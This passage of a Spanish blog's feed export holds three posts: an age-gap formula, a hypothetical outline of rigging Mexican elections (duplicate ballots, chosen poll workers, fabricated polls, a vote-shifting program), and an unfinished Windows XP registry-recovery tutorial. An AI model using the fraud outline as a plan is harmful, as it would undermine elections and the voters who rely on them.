&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Por lo que si remplazamos variables para que quede más corto y si invertimos la ecuación a partir de nuestra edad para saber que aceptará la sociedad como pareja mayor a mi edad y no sea considerada &lt;a href=&quot;http://es.wikipedia.org/wiki/Gerontofilia&quot;&gt;gerontofila&lt;/a&gt;:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;pedofilia: y &amp;lt; (1/2x) + 4 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;gerontofilia: y &amp;gt; (2x - 8)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
en donde x representa su edad por supuesto.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Es bien sabido por todos sabido que más allá de lo sexual, los intereses de una persona no son particularmente los mismos conforme a su edad (aunque hay personas muy inmaduras), por lo que si el enamoramiento depende de una chispa y necesita mucho combustible para&amp;nbsp;convertirse&amp;nbsp;en las cenizas que son el amor, será muy&amp;nbsp;difícil&amp;nbsp;que una pareja con una diferencia significativa en las edades pueda conseguir ese combustible, dicho sea de paso no estoy diciendo que sea imposible, pero si&amp;nbsp;difícil&amp;nbsp;cuando la media de esa ecuación se hace más grande, porque basados en la ecuación vemos que todo depende de la variable &quot;x&quot; o sea nuestra edad, yo por ejemplo a mis 28 años (a la fecha de escribir este post) usando esas ecuaciones menor edad 18, mayor edad 48, lo que nos da un rango de 30 años, pero esto cambia cada dos años y se incrementa en 3 ese rango, es decir cuando tenga 30 el rango será de 33, con una mínima de 19 y una máxima de 52, vaya que la sociedad se flexibiliza con los viejos jajajajaja.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Bueno para despedirme de esto, dejaré un pequeño reto, la respuesta me la pueden hacer llegar por twitter o por facebook, no prometo premio pero igual un pack de libros digitales. Bueno la pregunta es, de a cuerdo a wikipedia, ¿qué edad tendría que tener yo para el 27 de Agosto de 2012, para no ser considerado gerontofilo por hacer pareja con la persona más vieja en el planeta a esa fecha?&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/1573952152665478039/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2012/06/la-edad-del-amor.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/1573952152665478039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/1573952152665478039'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2012/06/la-edad-del-amor.html' title='La edad del amor?'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-4658914622284563399</id><published>2012-06-17T22:09:00.002-07:00</published><updated>2012-06-18T08:54:24.721-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="como se hace"/><category scheme="http://www.blogger.com/atom/ns#" term="elecciones"/><category scheme="http://www.blogger.com/atom/ns#" term="fraude"/><category scheme="http://www.blogger.com/atom/ns#" term="hack"/><category scheme="http://www.blogger.com/atom/ns#" term="hackear"/><category scheme="http://www.blogger.com/atom/ns#" term="IFE"/><category scheme="http://www.blogger.com/atom/ns#" term="mikorte"/><category scheme="http://www.blogger.com/atom/ns#" term="mudanza"/><category scheme="http://www.blogger.com/atom/ns#" term="ugalde"/><category scheme="http://www.blogger.com/atom/ns#" term="viva mexico"/><title type='text'>Como robaría las elecciones yo!!</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Este artículo no se habría escrito nunca de no ser por la casualidad del destino, ya había terminado de ver mikorte como cada semana, cuando por una extraña razón pase por el canal 4 (Foro TV) y me encontré con Carlos Ugalde (ex presidente del IFE) diciendo &quot;No hay forma de robarse las elecciones&quot;, cosa que me llamo poderosamente la atención porque el señor afirma que en México tenemos un sistema electoral &quot;impenetrable&quot;, como no creo en la existencia de un sistema impenetrable, me quede oyendo sus argumentos, luego de oír lo que tenía que decir, me parece&amp;nbsp;ridículo, absurdo,&amp;nbsp;estúpido&amp;nbsp;e irresponsable creer que existe un sistema impenetrable, lo anterior parafraseando los adjetivos usados por él para referirse a quienes tienen sus dudas respecto a esta posibilidad.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Por lo que pensé, si a mi se me contratará para hacer un fraude de esta magnitud, sería capaz de pasarme por el forro el sistema &quot;impenetrable&quot; de México, pues claro que si y&amp;nbsp;pensándolo&amp;nbsp;bien, no me resulto difícil imaginar como lo haría, vamos por partes lo primero es que si usted tiene oportunidad de ver dicha entrevista y escucha los argumentos del ex presidente del IFE, suena más o menos coherente el afirmar, que si quisieran orquestar un fraude necesitarían coordinar a más de 500,000 personas que participan en la elección para tal &amp;nbsp;motivo y &quot;susurrarles&amp;nbsp;al oído lo que tienen que hacer&quot;, cualquiera diría eso es imposible, algunos afirmarían que si es posible empleando el mecanismo correcto, pero yo creo que 500,000 es un número&amp;nbsp;innecesario&amp;nbsp;y hasta una pendejada gastar tanto y tener tantos cabos sueltos, entonces ¿cómo?.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Bien lo primero que haría sería imprimir por doble o triple las boletas electorales, arreglaría hasta donde se pudiera quienes van a ser los funcionarios de casilla para buscar el&amp;nbsp;mínimo&amp;nbsp;posible en grado de estudios de ellos o por lo menos la preferencia electoral de ellos, eso me daría una ventaja sobre todo en distritos rurales además de ahorrarme trabajo después, lo siguiente sería hacer varias encuestas para medir la cantidad media de votos por mi candidato (en realidad las fabricaría para darle validez a lo que viene después); una vez que tengo los datos de como va mi candidato lo siguiente sería hacer un programa que por cada &quot;n&quot; votos para los oponentes se descuente ese &quot;n&quot; y se le pase a mi candidato, apunte el distrito de donde lo estamos falsificando y se cree un informe, además de anular &quot;x&quot; cantidad de votos, de esa manera una vez ganadas las elecciones, usaría las boletas duplicadas junto con los resultados de las encuestas junto con las boletas duplicadas para legitimar el resultado, claro que para ello debería de fabricar unas boletas que sean&amp;nbsp;fácilmente&amp;nbsp;anulables.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Bueno eso es lo que yo, un simple hombre haría para robarme las elecciones, por supuesto necesitaría contar con las personas adecuadas en los puestos adecuados, pero eso no es complicado en México, todo se puede resolver con la cantidad adecuada de dinero.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ahora le toca a usted juzgar si existen evidencias de algo de lo que yo haría existe o si es posible, como esta seguramente hay otras formas o ideas, por lo que le pediría al ex presidente del IFE reconsidere el afirmar que es &quot;impenetrable&quot; su sistema, porque el primer paso para que te la metan es creer que no hay por donde te entre!!!&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxUx3kIwvl7HUN4Z8hECPBKJp24ja7NxT6YUQvLm6fEoglGV6TvFnGJ8guaXeAO7qagbWRbvKqY10zL5WMO9yPtu-GVy7XRr62Z9WGLbAPFeGp3hCMOy-cqm1uIbvy-BGz7PYRfxJYIA/s1600/ugalde.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;290&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxUx3kIwvl7HUN4Z8hECPBKJp24ja7NxT6YUQvLm6fEoglGV6TvFnGJ8guaXeAO7qagbWRbvKqY10zL5WMO9yPtu-GVy7XRr62Z9WGLbAPFeGp3hCMOy-cqm1uIbvy-BGz7PYRfxJYIA/s400/ugalde.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
P.D.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
No soy un experto en lenguaje corporal pero me parece de verdad que el señor no tiene idea de lo que esta hablando, como siempre eso le toca juzgarlo a usted.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/4658914622284563399/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2012/06/como-robaria-las-elecciones-yo.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/4658914622284563399'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/4658914622284563399'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2012/06/como-robaria-las-elecciones-yo.html' title='Como robaría las elecciones yo!!'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxUx3kIwvl7HUN4Z8hECPBKJp24ja7NxT6YUQvLm6fEoglGV6TvFnGJ8guaXeAO7qagbWRbvKqY10zL5WMO9yPtu-GVy7XRr62Z9WGLbAPFeGp3hCMOy-cqm1uIbvy-BGz7PYRfxJYIA/s72-c/ugalde.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-6233792074017107837</id><published>2012-05-28T22:26:00.002-07:00</published><updated>2012-06-15T18:13:02.476-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="como se hace"/><category scheme="http://www.blogger.com/atom/ns#" term="config esta dañado o no se encuentra"/><category scheme="http://www.blogger.com/atom/ns#" term="error en registro"/><category scheme="http://www.blogger.com/atom/ns#" term="no se puede arrancar windows"/><category scheme="http://www.blogger.com/atom/ns#" term="STOP c000000218"/><category scheme="http://www.blogger.com/atom/ns#" term="virus"/><category scheme="http://www.blogger.com/atom/ns#" term="xp"/><title type='text'>Restaurando XP virtual</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
La semana pasada mi hermana me pidió ayuda con un trabajo, por lo que para facilitarle las cosas le preste una maquina virtual con Windows XP, sin embargo por alguna extraña razón luego de un extraño fallo en el sistema &amp;nbsp;mi maquina virtual dejo de funcionar (cosa muy común&amp;nbsp;tratándose&amp;nbsp;de Windows, pero raro porque nunca me había fallado una máquina virtualizada), en fin me decidí a recuperar mi sistema, porque la verdad es que le tengo cierto aprecio a esa maquina virtual (aunque no use como SO de base Windows, todavía me es útil).&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
El primer&amp;nbsp;síntoma&amp;nbsp;es un reinicio constante que seguramente muchos recordarán, bueno como dudo que con el poco tiempo que dura este mensaje alguien sea capaz de leerlo, lo primero que debemos de hacer es precisamente evitar que se reinicie constantemente para eso oprimimos F8 durante el inicio y seleccionamos la opción &quot;Deshabilitar el reinicio automático si hay error en el sistema&quot;, a continuación seleccionar el SO con el que vamos a arrancar, ahora a esperar nuestra pitufi pantalla.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJqKSVWobcQIzwUsea9xUovoQqWB15eQHItqU_T_TQeBkNJrh3unsPHnvSouY6ze8XXt2At_iTkBggeABfR4al0Lsh259MkWUHBsVhrnwqdX21gO7-jWfIqIuDWF0Q3xo1uLfXvJGc-Q/s1600/rw_01.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJqKSVWobcQIzwUsea9xUovoQqWB15eQHItqU_T_TQeBkNJrh3unsPHnvSouY6ze8XXt2At_iTkBggeABfR4al0Lsh259MkWUHBsVhrnwqdX21gO7-jWfIqIuDWF0Q3xo1uLfXvJGc-Q/s400/rw_01.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfwoUjtQapvqiR0TDTbQiwgjlWHHeeECXq5gkiCHlK1w6ayoE2sRGokZn_JzrBKgrOtMLPiaioVzqvaiHFdjrNZJL90jaw7LsSwKizoYKfBIWFS86Yy4CYVvrbs4VCvO4qyL5QCMK52Q/s1600/rw_02.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;296&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfwoUjtQapvqiR0TDTbQiwgjlWHHeeECXq5gkiCHlK1w6ayoE2sRGokZn_JzrBKgrOtMLPiaioVzqvaiHFdjrNZJL90jaw7LsSwKizoYKfBIWFS86Yy4CYVvrbs4VCvO4qyL5QCMK52Q/s400/rw_02.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Luego de un rato nuestra querida y hermosa pantalla azul del recuerdo, ya sabemos que algo esta podrido ahora la cuestión es repararlo, como en este caso dispongo de otra maquina virtual con XP instalado, resultará demasiado sencillo repararla, pero voy a poner un par de ejemplos usando tanto otra maquina virtual como un LiveCD para la restauración a fin de que ustedes vean cual es el procedimiento, este procedimiento es perfectamente valido para los errores:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
No se puede iniciar Windows XP porque el siguiente archivo está dañado o no se encuentra: \WINDOWS\SYSTEM32\CONFIG\SYSTEM&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
No se puede iniciar Windows XP porque el siguiente archivo está dañado o no se encuentra: \WINDOWS\SYSTEM32\CONFIG\SOFTWARE&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Stop: c0000218 {Error del archivo de Registro} El Registro no puede cargar la sección (archivo): \SystemRoot\System32\Config\SOFTWARE o su registro o alternativo&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Bueno si tenemos otra maquina virtual con SO a la mano haremos uso de ella, por lo que debemos configurar nuestro disco duro virtual dañado como esclavo y arrancar el sistema.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhektK8H1cLuoO-Q8ejpjsWanqKZEX2YDxyoUTp1ZZL9TwKfydlQmLyuD1jHeR0nxOsEyAz31Q73EJuaS6cE9vyadjL153svp0vumd-l5vuKREBHKDMSAVaSA_Poavwa5zZxSyNiOz5lw/s1600/rw_03.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;271&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhektK8H1cLuoO-Q8ejpjsWanqKZEX2YDxyoUTp1ZZL9TwKfydlQmLyuD1jHeR0nxOsEyAz31Q73EJuaS6cE9vyadjL153svp0vumd-l5vuKREBHKDMSAVaSA_Poavwa5zZxSyNiOz5lw/s400/rw_03.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Una vez iniciado nos vamos a &quot;Mi PC&quot; y buscamos el disco duro que tiene fallas en el registro, antes de comenzar vamos a habilitar las opciones de &quot;Ver todos los archivos&quot; y desmarcar las opciones de &quot;Ocultar archivos protegidos del sistema operativo&quot;, &quot;Ocultar las extensiones de archivo para tipos de archivo conocido&quot; y &quot;Utilizar uso compartido simple de archivos&quot;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX2se2CMI0gRFkdXd0yVaCCLafAPLJgmHymWuNFMsxg59v4LLjIefzsjhf3jIkilSEMzDB8fjwLvlXYYap53rWu70W-VKnn8zoEDWx5jZTRWQBqjveyVJEhHC7M0r5deHQAz7rtFAYXA/s1600/rw_04.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;216&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX2se2CMI0gRFkdXd0yVaCCLafAPLJgmHymWuNFMsxg59v4LLjIefzsjhf3jIkilSEMzDB8fjwLvlXYYap53rWu70W-VKnn8zoEDWx5jZTRWQBqjveyVJEhHC7M0r5deHQAz7rtFAYXA/s400/rw_04.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiceU2z0MerOxXxOxw3Z9d_c4IUc2d8NmvVIC-mXXwJDfFSmjt4Y4kkRXhTMzssYgAx4tURxJxvaRk9fI0J3Rah1wmHue4x4txMe9hgRJWOluOzS-0bzNjA_GO7eJGhBvqG7_lNysGdFA/s1600/rw_05.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiceU2z0MerOxXxOxw3Z9d_c4IUc2d8NmvVIC-mXXwJDfFSmjt4Y4kkRXhTMzssYgAx4tURxJxvaRk9fI0J3Rah1wmHue4x4txMe9hgRJWOluOzS-0bzNjA_GO7eJGhBvqG7_lNysGdFA/s400/rw_05.png&quot; width=&quot;390&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Nota:&lt;/b&gt; estas opciones normalmente&amp;nbsp;están&amp;nbsp;habilitadas a fin de que un usuario no toquetee cosas que puedan dañar el sistema (léase&amp;nbsp;Microsoft piensa que somos pendejos XD, mejor dicho nos quiere hacer pendejos jajajajajaja)&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Bueno una vez cambiadas las opciones vamos buscar la carpeta &quot;System Volume Information&quot;, pero al intentar ingresar a ella:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHq_y5LnmLPL9wV4Xu8tN0ITz8RyWNGhgJtPzrHrrDM7-v0kcu65wjlGTxOjPFxNI1t-fo9F1LUQCgBudrI6qxc5DO1wrFTkuEDhKzYRqXG9qTjv7axvYY1VV2CIAZaMd3um2YQJdPfw/s1600/rw_06.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;181&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHq_y5LnmLPL9wV4Xu8tN0ITz8RyWNGhgJtPzrHrrDM7-v0kcu65wjlGTxOjPFxNI1t-fo9F1LUQCgBudrI6qxc5DO1wrFTkuEDhKzYRqXG9qTjv7axvYY1VV2CIAZaMd3um2YQJdPfw/s400/rw_06.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Esto es porque no es nuestra! (ya se lo que están pensando &quot;como chingados no, que no esta en mi disco?&quot;), esto es un tema un tanto complejo pero no me voy a enrollar con eso, baste decir por ahora que existen al menos dos usuarios aparte del suyo en todo SO XP, que tienen más privilegios que cualquiera, pero eso es otro cuento, les dejo las tradicionales capturas:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinvqBRs5H7AX79CvE4dAINvd-GAtuDgnsXSXtKV1I3oCqUH6DEz8PHVtHLJefK6TYD3AvhqOq0d7GU2mG3qGBav94QSz9tmnJB92Xi-LovyHBIimhyrbcRqy1L_7NVSzUkuczccwMLNQ/s1600/rw_07.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinvqBRs5H7AX79CvE4dAINvd-GAtuDgnsXSXtKV1I3oCqUH6DEz8PHVtHLJefK6TYD3AvhqOq0d7GU2mG3qGBav94QSz9tmnJB92Xi-LovyHBIimhyrbcRqy1L_7NVSzUkuczccwMLNQ/s400/rw_07.png&quot; width=&quot;348&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBoCFzjTNlUt6GIQFZyjxnh4i33DZuVCOkZpudaIFdBbrjBqCOUrz9hnaDUWLrR-ofXWvN3hjALxcHMbQKCwcBPscDBixO62fvQCJMjLqMRQVNHV02nr-3WVqIuAscS-AywmJqcGFBcQ/s1600/rw_08.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;390&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBoCFzjTNlUt6GIQFZyjxnh4i33DZuVCOkZpudaIFdBbrjBqCOUrz9hnaDUWLrR-ofXWvN3hjALxcHMbQKCwcBPscDBixO62fvQCJMjLqMRQVNHV02nr-3WVqIuAscS-AywmJqcGFBcQ/s400/rw_08.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwXfizOUhqbCG7MGKqjAaZWnvEMgezvnTJS2EoFaHIt78IcbsWJrrXtsbuaZGvVOxbTqjG-YAzLpsCrGBXqJN-bM8SolYP-iEFOq_VMk6_GVP5fy7qbAvH7BHD7y274AzKNowy3HtG5Q/s1600/rw_09.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwXfizOUhqbCG7MGKqjAaZWnvEMgezvnTJS2EoFaHIt78IcbsWJrrXtsbuaZGvVOxbTqjG-YAzLpsCrGBXqJN-bM8SolYP-iEFOq_VMk6_GVP5fy7qbAvH7BHD7y274AzKNowy3HtG5Q/s400/rw_09.png&quot; width=&quot;351&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVfADdXE99oTXpss1yFqK8tw9U-CYXDENLwbOqsHX4ggSd91UaAU9ZgXqn0OLpvaPrlag3UvzFdQO0zOrv5h52lwvOkITmqWRz9fxbksy-vWP59-e23k4gcQt7yEvXN2LehA1CV9bAGA/s1600/rw_10.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVfADdXE99oTXpss1yFqK8tw9U-CYXDENLwbOqsHX4ggSd91UaAU9ZgXqn0OLpvaPrlag3UvzFdQO0zOrv5h52lwvOkITmqWRz9fxbksy-vWP59-e23k4gcQt7yEvXN2LehA1CV9bAGA/s400/rw_10.png&quot; width=&quot;348&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm7qyDRG5Nh7sBOL97-uD8OZLoI0AvvuvKBaUs2V24VqXuTeDOg1ZahA_jsh5jVFMwMsQfa_y7ZoTnPg8G6csq_TDaQ60DahGWYbg_b0N0UuvJ3fuq6MEdCmMJ13DfeW-aA6Y8Z_scOw/s1600/rw_11.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;203&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm7qyDRG5Nh7sBOL97-uD8OZLoI0AvvuvKBaUs2V24VqXuTeDOg1ZahA_jsh5jVFMwMsQfa_y7ZoTnPg8G6csq_TDaQ60DahGWYbg_b0N0UuvJ3fuq6MEdCmMJ13DfeW-aA6Y8Z_scOw/s400/rw_11.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
